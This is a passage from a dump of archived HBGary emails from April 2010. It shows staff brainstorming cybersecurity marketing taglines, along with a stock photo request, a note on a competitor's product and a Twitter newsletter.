\"Protection\" absolutely implies product, but not neccesarily enteprise product\r\n\r\n\r\n- \"Protection\" can easily be confused with consumer grade protection &amp; AV\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n#5. Cyber Threat Defense\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n- Very broad scope, accurate for everything we do\r\n\r\n\r\n- \"Defense\" implies enterprise product, but could also mean incident response services\r\n\r\n\r\n- \"Cyber Threat\" is not a strong APT equivalent, and could mean viruses and banking malware\r\n\r\n\r\n- \"Cyber Threat\" is not strong like \"Global Cyber Threat\" or \"Global Threat\"\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n#6. Cyber Threat Defense for the Enterprise\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n- \"for the Enterprise\" brings home the point that we offer an Enterprise product\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nSome variations of the above:\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nAssured Cyber Threat Protection\r\n\r\n\r\nAssured Cyber Threat Defense\r\n\r\n\r\nCyber Assurance in a Hostile World\r\n\r\n\r\n\r\nAssured Defense in&nbsp;Hostile Cyberspace\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10 02:32:00\r\n&nbsp;\r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10 14:32:00\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2565,'aaron_hbgary_com/2565.html'),(5166,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003789.M892796P14101Q21.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Stock Photo Image','Yes Please.On Apr 12, 2010, at 10:41 AM, Greg Hoglund wrote:&nbsp;\r\nI have an account on iStock, you want me to download that one?\r\n&nbsp;\r\n-Greg\r\nOn Mon, Apr 12, 2010 at 6:32 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi Penny,Do you guys have a stock photo account.Do you already have a copy of the following image?\r\nist2_3953520-3d-helix-with-binary-codeAaron BarrCEOHBGary Federal Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15996,'aaron_hbgary_com/15996.html'),(5167,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003790.M102222P14101Q22.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','Re: Stock Photo Image','Hmmm...you guys familiar with this company.The have an activedefense \"behavior\" based AV enhancement product.AaronOn Apr 12, 2010, at 10:41 AM, Greg Hoglund wrote:&nbsp;\r\nI have an account on iStock, you want me to download that one?\r\n&nbsp;\r\n-Greg\r\nOn Mon, Apr 12, 2010 at 6:32 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi Penny,Do you guys have a stock photo account.Do you already have a copy of the following image?\r\nist2_3953520-3d-helix-with-binary-codeAaron BarrCEOHBGary Federal Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3989,'aaron_hbgary_com/3989.html'),(5168,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003790.M319577P14101Q23.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','Re: Stock Photo Image','ok now with link.http://www.threatfire.com/On Apr 12, 2010, at 10:41 AM, Greg Hoglund wrote:&nbsp;\r\nI have an account on iStock, you want me to download that one?\r\n&nbsp;\r\n-Greg\r\nOn Mon, Apr 12, 2010 at 6:32 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi Penny,Do you guys have a stock photo account.Do you already have a copy of the following image?\r\nist2_3953520-3d-helix-with-binary-codeAaron BarrCEOHBGary Federal Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15721,'aaron_hbgary_com/15721.html'),(5169,'2010-04-12','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003790.M581643P14101Q24.eml','rich@hbgary.com,rich@hbgary.com,,,,','Re: Some New Taglines from Greg',' \r\nA slight variation on the &quot;Detect Tommorow&#39;s Threats Today&quot;\r\n \r\nreplace &quot;Detect&quot; with &quot;Counter&quot;, &quot;Combat&quot; - has more than just detection that way\r\nCounter Tommorow&#39;s Threats Today\r\nCombat Tommorow&#39;s Threats Today\r\n \r\nAnd, you can slip in the word Cyber too:\r\n \r\nDetect Tommorow&#39;s Cyber-Threats Today\r\nMeh, I still like the first one... \r\n \r\n-Greg\r\n \r\nOn Mon, Apr 12, 2010 at 7:37 AM, &lt;rich@hbgary.com&gt; wrote:\r\nI agree with Greg, detect tomorrows threats today. Powerful, forward thinking, high level which fits the larger enterprise market. \r\nSent from my Verizon Wireless BlackBerry\r\n\r\n\r\nFrom: Greg Hoglund &lt;greg@hbgary.com&gt; \r\nDate: Mon, 12 Apr 2010 07:32:53 -0700\r\nTo: Aaron Barr&lt;aaron@hbgary.com&gt;; &lt;shawn@Hbgary.com&gt;\r\nCc: Bob Slapnik&lt;bob@hbgary.com&gt;; Penny Leavy&lt;penny@hbgary.com&gt;; Rich Cummings&lt;rich@hbgary.com&gt;; Karen Burke&lt;karenmaryburke@yahoo.com&gt;\r\n\r\n\r\n\r\n\r\nSubject: Re: Some New Taglines from Greg\r\n\r\nI really like \r\n&quot;Detect Tommorow&#39;s Threats Today&quot;\r\n \r\nIt has proactive all over it.  It implies the threat is evolving, which licks the APT stamp.  &quot;Detect&quot; implies we have an Enterprise product.  It also implies that we track said threats in order to stay ahead of them.  With this message, we don&#39;t have the say &#39;Defend&#39;, that&#39;s implied because tommorow&#39;s threat hasn&#39;t hit yet.  &#39;Tommorow/Today&#39; is a stroke of genius - it puts motion into the message and positions HBGary as a shepard in the otherwise hostile evolving cyber-threat space. \r\n\r\n \r\n-Greg\r\nOn Mon, Apr 12, 2010 at 6:08 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nMaybe another tagline: \r\n\r\nTaking reverse engineering out of malware analysis and threat detection. \r\n\r\nAaron \r\n\r\n\r\n\r\n\r\nOn Apr 12, 2010, at 8:58 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\nLet’s remember that we are far more than just detection.  The messaging needs to be inclusive of our incident response and reverse engineering as these are important components that come after detection to combat threats.\r\n\r\n \r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, April 12, 2010 8:41 AMTo: Bob Slapnik; Greg Hoglund; Penny Leavy; Rich CummingsCc: Karen BurkeSubject: Re: Some New Taglines from Greg\r\n\r\n \r\nSome thoughts on Branding.\r\n\r\n \r\n\r\nVision:\r\n\r\nProactive Defense for Advanced Threats.\r\n\r\nAdvanced Threat Detection\r\n\r\nEnterprise Threat Detection\r\n\r\nAdvanced Threat Detection and Risk Management\r\n\r\nEnterprise Threat Detection and Risk Management\r\n\r\n \r\n\r\nTaglines:\r\n\r\nWhen being compliant is just the starting point.\r\n\r\n\r\nWhen being compliant isn&#39;t good enough\r\n\r\n\r\nIts 12am, do you know whats hiding in your memory?\r\n\r\n\r\nBringing malware analysis to Net Defense\r\n\r\n\r\nDetecting tomorrows threats today. (shawn)\r\n\r\n\r\nDetection that evolves as quickly as the threat.\r\n\r\n \r\n\r\nWords to use: Proactive Detection, Dynamic Detection, Proactive Defense, Dynamic Defense, Enterprise, Advanced Threats, Risk Management, Mission Assurance, Assured Security, Threat Detection\r\n\r\n\r\n \r\n\r\n\r\nMy 2 cents is you need a single vision but maybe slightly tailored to different audiences.\r\n\r\n \r\n\r\nFirst what is the Vision.\r\n\r\nSecond what are your markets.\r\n\r\nThird, what are their hotbuttons in each market (compliance, intelligence, mission assurance)\r\n\r\nFourth, messaging per environment based on 1-3.\r\n\r\n \r\n\r\nVision:\r\n\r\n \r\n\r\nMarkets:\r\n\r\nFederal:\r\n\r\nState/Local:\r\n\r\nCommercial: (maybe want to break these out further banking, etc) but that might also dilute your messaging.\r\n\r\n \r\n\r\nHotbuttons:\r\n\r\nFederal: Intelligence, Mission Assurance, Combating APT, CIP, protection of sensitive/classified information.\r\n\r\nState/Local: Cost/Compliance,\r\n\r\nCommercial: Risk/Compliance, IP\r\n\r\n \r\n\r\nI think usecases or summaries of how HBGary products could be used effectively in each market segment would be helpful for people to grasp the significance quickly.\r\n\r\n\r\n1. How can HBGary be used to combat APT better than anyone else.  How to we protect the mission, provide net defense capability.\r\n\r\n\r\n2.  How does HBGary benefit compliance, IP protection, risk mitigation.  how does it save them money.\r\n\r\n \r\n\r\nMight want to illustrate our benefit with partner integration, foundstone, verdasys, fidelis, etc.\r\n\r\n \r\n\r\nAaron\r\n\r\n \r\n\r\n\r\n\r\nOn Apr 11, 2010, at 8:05 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\nHow this?\r\n\r\n \r\n\r\nCombat Global Cyber Threats\r\n\r\n\r\n \r\n\r\n“combat” is both offense and defense.  Implies an  ongoing battle.  Works for both gov’t and private sector.\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\nFrom: Greg Hoglund [mailto:greg@hbgary.com] \r\nSent: Sunday, April 11, 2010 2:34 PMTo: all@hbgary.com; Karen BurkeSubject: Some New Taglines from Greg\r\n\r\n\r\n \r\n\r\n\r\n \r\n\r\n\r\nTeam,\r\n\r\n\r\nHere are some taglines I just cooked up.\r\n\r\n\r\n \r\n\r\n\r\n\r\n#1. Assured Cyber Defense against Global Threats\r\n\r\n\r\n \r\n\r\n\r\n- &#39;Assured&#39; means we can deliver where the IDS and AV vendors have failed. \r\n\r\n\r\n- &quot;Global Threat&quot; is a big-boy way to say APT.\r\n\r\n\r\n- &quot;Defense&quot; implies that we have an Enteprise product\r\n\r\n\r\n\r\n- &quot;Cyber&quot; has to be present, otherwise you can&#39;t tell what kind of threat defense we are addressing\r\n\r\n\r\n\r\n- kind of wordy\r\n\r\n\r\n \r\n\r\n\r\n#2. Assured Defense against Global Cyber Threats\r\n\r\n\r\n \r\n\r\n\r\n- &quot;Assured Defense&quot; means we can deliver where IDS and AV fails\r\n\r\n\r\n- &quot;Assured Defense&quot; implies enterprise product\r\n\r\n\r\n- &quot;Cyber&quot; has to be present, otherwise you can&#39;t tell what kind of threat defense we are addressing\r\n\r\n\r\n\r\n- &quot;Global Cyber Threats&quot; is not as strong as &quot;Global Threats&quot; with respect to APT\r\n\r\n\r\n- &quot;Global Cyber Threats&quot; can mean Russian bank-info stealing malware, where &quot;Global Threats&quot; implies governments and hostile organizations\r\n\r\n\r\n\r\n \r\n\r\n\r\n#3. Assured Cyber Defense\r\n\r\n\r\n \r\n\r\n\r\n\r\n- &#39;Assured&#39; means we can deliver where the IDS and AV vendors have failed. \r\n\r\n\r\n- Using the word Defense implies Threat.  So, these two words are interchangable.\r\n\r\n\r\n \r\n\r\n\r\n#4. Assurance against Global Cyber Threats\r\n\r\n\r\n \r\n\r\n\r\n\r\n- &quot;Assurance&quot; implies more of an ongoing partnership, as opposed to a product-focus\r\n\r\n\r\n- doesn&#39;t come off as wordy, lets us get the big-boy version of APT in\r\n\r\n\r\n- doesn&#39;t have the &quot;we are a product company&quot; punch\r\n\r\n\r\n \r\n\r\n\r\n#4. Cyber Threat Protection\r\n\r\n\r\n \r\n\r\n\r\n-  Using the word Protection requires additional clarifying words.  Hence, &quot;Cyber Threat&quot;\r\n\r\n\r\n- &quot;Protection&quot; absolutely implies product, but not neccesarily enteprise product\r\n\r\n\r\n- &quot;Protection&quot; can easily be confused with consumer grade protection &amp; AV\r\n\r\n\r\n \r\n\r\n\r\n#5. Cyber Threat Defense\r\n\r\n\r\n \r\n\r\n\r\n- Very broad scope, accurate for everything we do\r\n\r\n\r\n- &quot;Defense&quot; implies enterprise product, but could also mean incident response services\r\n\r\n\r\n- &quot;Cyber Threat&quot; is not a strong APT equivalent, and could mean viruses and banking malware\r\n\r\n\r\n- &quot;Cyber Threat&quot; is not strong like &quot;Global Cyber Threat&quot; or &quot;Global Threat&quot;\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n#6. Cyber Threat Defense for the Enterprise\r\n\r\n\r\n \r\n\r\n\r\n- &quot;for the Enterprise&quot; brings home the point that we offer an Enterprise product\r\n\r\n\r\n \r\n\r\n\r\nSome variations of the above:\r\n\r\n\r\n \r\n\r\n\r\nAssured Cyber Threat Protection\r\n\r\n\r\nAssured Cyber Threat Defense\r\n\r\n\r\nCyber Assurance in a Hostile World\r\n\r\n\r\n\r\nAssured Defense in Hostile Cyberspace\r\n\r\n\r\n \r\n\r\n\r\n \r\n\r\n\r\n \r\nNo virus found in this incoming message.Checked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10 02:32:00\r\n \r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n \r\n \r\n \r\nNo virus found in this incoming message.Checked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10 14:32:00\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12943,'aaron_hbgary_com/12943.html'),(5170,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003790.M942167P14101Q25.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,,,','Re: Some New Taglines from Greg','I think I like the original better two but this gets to messaging for different markets. &nbsp;DoD would like counter or combat better than detect I think. &nbsp;It plays to the integration with countermeasures, etc. &nbsp;Integration of CND with CNA/E.AaronOn Apr 12, 2010, at 10:44 AM, Greg Hoglund wrote:&nbsp;\r\nA slight variation on the \"Detect Tommorow\'s Threats Today\"\r\n&nbsp;\r\nreplace \"Detect\" with \"Counter\", \"Combat\" - has more than just detection that way\r\nCounter&nbsp;Tommorow\'s Threats Today\r\nCombat&nbsp;Tommorow\'s Threats Today\r\n&nbsp;\r\nAnd, you can slip in the word Cyber too:\r\n&nbsp;\r\nDetect Tommorow\'s Cyber-Threats Today\r\nMeh, I still like the first one... \r\n&nbsp;\r\n-Greg\r\n&nbsp;\r\nOn Mon, Apr 12, 2010 at 7:37 AM, &lt;rich@hbgary.com&gt; wrote:\r\nI agree with Greg, detect tomorrows threats today. Powerful, forward thinking, high level which fits the larger enterprise market. \r\nSent from my Verizon Wireless BlackBerry\r\n\r\n\r\nFrom: Greg Hoglund &lt;greg@hbgary.com&gt; \r\nDate: Mon, 12 Apr 2010 07:32:53 -0700\r\nTo: Aaron Barr&lt;aaron@hbgary.com&gt;; &lt;shawn@Hbgary.com&gt;\r\nCc: Bob Slapnik&lt;bob@hbgary.com&gt;; Penny Leavy&lt;penny@hbgary.com&gt;; Rich Cummings&lt;rich@hbgary.com&gt;; Karen Burke&lt;karenmaryburke@yahoo.com&gt;\r\n\r\n\r\n\r\n\r\nSubject: Re: Some New Taglines from Greg\r\n\r\nI really like \r\n\"Detect Tommorow\'s Threats Today\"\r\n&nbsp;\r\nIt has proactive all over it.&nbsp; It implies the threat is evolving, which licks the APT stamp.&nbsp; \"Detect\"&nbsp;implies&nbsp;we have an Enterprise product.&nbsp; It also implies that we track said threats in order to stay ahead of them.&nbsp; With this message, we don\'t have the say \'Defend\', that\'s implied because tommorow\'s threat hasn\'t hit yet.&nbsp; \'Tommorow/Today\' is a stroke of&nbsp;genius - it puts motion into&nbsp;the message and positions HBGary as a shepard in&nbsp;the otherwise hostile evolving&nbsp;cyber-threat space.&nbsp;\r\n\r\n&nbsp;\r\n-Greg\r\nOn Mon, Apr 12, 2010 at 6:08 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nMaybe another tagline: \r\n\r\nTaking reverse engineering out of malware analysis and threat detection. \r\n\r\nAaron \r\n\r\n\r\n\r\n\r\nOn Apr 12, 2010, at 8:58 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\nLet’s remember that we are far more than just detection.&nbsp; The messaging needs to be inclusive of our incident response and reverse engineering as these are important components that come after detection to combat threats.\r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, April 12, 2010 8:41 AMTo:&nbsp;Bob Slapnik; Greg Hoglund; Penny Leavy; Rich CummingsCc:&nbsp;Karen BurkeSubject:&nbsp;Re: Some New Taglines from Greg\r\n\r\n&nbsp;\r\nSome thoughts on Branding.\r\n\r\n&nbsp;\r\n\r\nVision:\r\n\r\nProactive Defense for Advanced Threats.\r\n\r\nAdvanced Threat Detection\r\n\r\nEnterprise Threat Detection\r\n\r\nAdvanced Threat Detection and Risk Management\r\n\r\nEnterprise Threat Detection and Risk Management\r\n\r\n&nbsp;\r\n\r\nTaglines:\r\n\r\nWhen being compliant is just the starting point.\r\n\r\n\r\nWhen being compliant isn\'t good enough\r\n\r\n\r\nIts 12am, do you know whats hiding in your memory?\r\n\r\n\r\nBringing malware analysis to Net Defense\r\n\r\n\r\nDetecting tomorrows threats today. (shawn)\r\n\r\n\r\nDetection that evolves as quickly as the threat.\r\n\r\n&nbsp;\r\n\r\nWords to use: Proactive Detection, Dynamic Detection, Proactive Defense, Dynamic Defense, Enterprise, Advanced Threats, Risk Management, Mission Assurance, Assured Security, Threat Detection\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nMy 2 cents is you need a single vision but maybe slightly tailored to different audiences.\r\n\r\n&nbsp;\r\n\r\nFirst what is the Vision.\r\n\r\nSecond what are your markets.\r\n\r\nThird, what are their hotbuttons in each market (compliance, intelligence, mission assurance)\r\n\r\nFourth, messaging per environment based on 1-3.\r\n\r\n&nbsp;\r\n\r\nVision:\r\n\r\n&nbsp;\r\n\r\nMarkets:\r\n\r\nFederal:\r\n\r\nState/Local:\r\n\r\nCommercial: (maybe want to break these out further banking, etc) but that might also dilute your messaging.\r\n\r\n&nbsp;\r\n\r\nHotbuttons:\r\n\r\nFederal: Intelligence, Mission Assurance, Combating APT, CIP, protection of sensitive/classified information.\r\n\r\nState/Local: Cost/Compliance,\r\n\r\nCommercial: Risk/Compliance, IP\r\n\r\n&nbsp;\r\n\r\nI think usecases or summaries of how HBGary products could be used effectively in each market segment would be helpful for people to grasp the significance quickly.\r\n\r\n\r\n1. How can HBGary be used to combat APT better than anyone else. &nbsp;How to we protect the mission, provide net defense capability.\r\n\r\n\r\n2. &nbsp;How does HBGary benefit compliance, IP protection, risk mitigation. &nbsp;how does it save them money.\r\n\r\n&nbsp;\r\n\r\nMight want to illustrate our benefit with partner integration, foundstone, verdasys, fidelis, etc.\r\n\r\n&nbsp;\r\n\r\nAaron\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Apr 11, 2010, at 8:05 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\nHow this?\r\n\r\n&nbsp;\r\n\r\nCombat Global Cyber Threats\r\n\r\n\r\n&nbsp;\r\n\r\n“combat” is both offense and defense.&nbsp; Implies an&nbsp; ongoing battle.&nbsp; Works for both gov’t and private sector.\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\nFrom:&nbsp;Greg Hoglund [mailto:greg@hbgary.com]&nbsp;\r\nSent:&nbsp;Sunday, April 11, 2010 2:34 PMTo:&nbsp;all@hbgary.com; Karen BurkeSubject:&nbsp;Some New Taglines from Greg\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nTeam,\r\n\r\n\r\nHere are some taglines I just cooked up.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n#1. Assured Cyber Defense against Global Threats\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n- \'Assured\' means we can deliver where the IDS and AV vendors have failed.&nbsp;\r\n\r\n\r\n- \"Global Threat\" is a big-boy way to say APT.\r\n\r\n\r\n- \"Defense\" implies that we have an Enteprise product\r\n\r\n\r\n\r\n- \"Cyber\" has to be present, otherwise you can\'t tell what kind of threat defense we are addressing\r\n\r\n\r\n\r\n- kind of wordy\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n#2. Assured Defense against Global Cyber Threats\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n- \"Assured Defense\" means we can deliver where IDS and AV fails\r\n\r\n\r\n- \"Assured Defense\" implies enterprise product\r\n\r\n\r\n- \"Cyber\" has to be present, otherwise you can\'t tell what kind of threat defense we are addressing\r\n\r\n\r\n\r\n- \"Global Cyber Threats\" is not as strong as \"Global Threats\" with respect to APT\r\n\r\n\r\n- \"Global Cyber Threats\" can mean Russian bank-info stealing malware, where \"Global Threats\" implies governments and hostile organizations\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n#3. Assured Cyber Defense\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n- \'Assured\' means we can deliver where the IDS and AV vendors have failed.&nbsp;\r\n\r\n\r\n- Using the word Defense implies Threat.&nbsp;&nbsp;So, these two words are interchangable.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n#4. Assurance against Global Cyber Threats\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-&nbsp;\"Assurance\" implies more of an ongoing&nbsp;partnership, as opposed to a product-focus\r\n\r\n\r\n- doesn\'t come off as wordy, lets us get the big-boy version of APT in\r\n\r\n\r\n- doesn\'t have the \"we are a product company\" punch\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n#4. Cyber Threat Protection\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n-&nbsp; Using the word Protection requires additional clarifying words.&nbsp;&nbsp;Hence, \"Cyber Threat\"\r\n\r\n\r\n- \"Protection\" absolutely implies product, but not neccesarily enteprise product\r\n\r\n\r\n- \"Protection\" can easily be confused with consumer grade protection &amp; AV\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n#5. Cyber Threat Defense\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n- Very broad scope, accurate for everything we do\r\n\r\n\r\n- \"Defense\" implies enterprise product, but could also mean incident response services\r\n\r\n\r\n- \"Cyber Threat\" is not a strong APT equivalent, and could mean viruses and banking malware\r\n\r\n\r\n- \"Cyber Threat\" is not strong like \"Global Cyber Threat\" or \"Global Threat\"\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n#6. Cyber Threat Defense for the Enterprise\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n- \"for the Enterprise\" brings home the point that we offer an Enterprise product\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nSome variations of the above:\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nAssured Cyber Threat Protection\r\n\r\n\r\nAssured Cyber Threat Defense\r\n\r\n\r\nCyber Assurance in a Hostile World\r\n\r\n\r\n\r\nAssured Defense in&nbsp;Hostile Cyberspace\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10 02:32:00\r\n&nbsp;\r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10 14:32:00\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12182,'aaron_hbgary_com/12182.html'),(5171,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003791.M338951P14101Q26.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','ActiveDefense','PCTools acquired a company called Novatix last May which developed a tool called Cyberhawk which supposedly did behavior based malware detection.  This product has been rebranded under PCTools as ThreatFire\'s ActiveDefense.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1496,'aaron_hbgary_com/1496.html'),(5172,'2010-04-12','\"Biz Stone (@Biz)\" <twitter-bulkr-Aaron=HBGary.com@postmaster.twitter.com>','/aaron@hbgary.com/new/1297003791.M580090P14101Q27.eml','Aaron@HBGary.com','Twitter Newsletter 2010 - Edition #2','\r\n\r\n        \r\n                \r\n                Email\r\n        \r\n        \r\n\r\n\r\n\r\nHi there,\r\nLast month I restarted this monthly Twitter email update. If you\'ve been around for a while, then you might remember getting my emails. If you signed up and requested this update more recently, welcome! A lot happens every month at Twitter so we want to keep you in the know. As always, you\'re invited to visit http://twitter.com -- to come see what\'s new.\r\n\r\nNew Front PageWe\'ve discovered over the years that Twitter is a work in progress. At first, the idea of tweeting only appealed to a few but then it caught on in a big way. Now Twitter is an incredibly rich and expanding information network. Our design team has changed the front page to reflect this metamorphosis and will continue to adjust accordingly.\r\n\r\nOfficial Twitter Conference\r\nWe\'re hosting our first official Twitter developer conference this month. It\'s called Chirp. The event will take place in San Francisco over two days. The first day is April 14th at the Palace of Fine Arts. On April 15th, we\'ll be gathering at Fort Mason right along the bay. We\'re looking forward to meeting in person. For info, tickets, or to watch online, visit the Chirp web site.\r\n\r\nFighting Spam\r\nOur Chief Scientist Abdur recently published a short piece titled, \"State of Twitter Spam.\" In it, he explained how the definition of spam is different when compared to the common email variety. Spam is inevitable on a popular system but we fight it aggressively. Less than 1% of tweets per day are spam and we work diligently to reduce that percentage.\r\n\r\nLocation, Location, Location\r\nWe added a new feature to the Twitter web site that allows you to attach location data to individual tweets. This feature may not appeal to everyone so it requires that you activate it first in your Account Settings. You can choose to share an exact location or a general location such as neighborhood or town. This additional context is potentially very powerful.\r\n\r\nThanks,Biz Stone, Co-founder (@Biz)\r\nTwitter, Inc.\r\n\r\nPS: This was sent to Aaron@HBGary.com for the account @HBGaryFed.  If you\'d rather not receive newsletters from Twitter, you can unsubscribe immediately. For questions, please visit us at Twitter Support.\r\n\r\n\r\n                \r\n        \r\n\r\n\r\n',15581,'aaron_hbgary_com/15581.html'),(5173,'2010-04-12','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003791.M794997P14101Q28.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: ActiveDefense','I thought we had a trademark?\r\n \r\n-Greg\r\nOn Mon, Apr 12, 2010 at 7:56 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nPCTools acquired a company called Novatix last May which developed a tool called Cyberhawk which supposedly did behavior based malware detection.  This product has been rebranded under PCTools as ThreatFire&#39;s ActiveDefense.\r\nAaron BarrCEOHBGary Federal Inc.\r\n',15679,'aaron_hbgary_com/15679.html'),(5174,'2010-04-12','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003792.M52925P14101Q29.eml','\"Greg Hoglund\" <greg@hbgary.com>,rich@hbgary.com,\"Greg Hoglund\" <greg@hbgary.com>,rich@hbgary.com,,','RE: Some New Taglines from Greg','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYeah, I like\r\n\r\nCounter&nbsp;Tommorow\'s Cyber Threats Today\r\n\r\nCombat&nbsp;Tommorow\'s Cyber Threats Today\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Monday, April 12, 2010 10:45 AM\r\nTo: rich@hbgary.com\r\nCc: Aaron Barr; shawn@hbgary.com; Bob Slapnik; Penny Hoglund; Karen\r\nBurke\r\nSubject: Re: Some New Taglines from Greg\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nA slight variation on the &quot;Detect Tommorow\'s Threats\r\nToday&quot;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nreplace &quot;Detect&quot; with &quot;Counter&quot;,\r\n&quot;Combat&quot; - has more than just detection that way\r\n\r\n\r\n\r\n\r\n\r\nCounter&nbsp;Tommorow\'s Threats Today\r\n\r\n\r\n\r\n\r\n\r\nCombat&nbsp;Tommorow\'s Threats Today\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAnd, you can slip in the word Cyber too:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDetect Tommorow\'s Cyber-Threats Today\r\n\r\n\r\n\r\n\r\n\r\n\r\nMeh, I still like the first one... 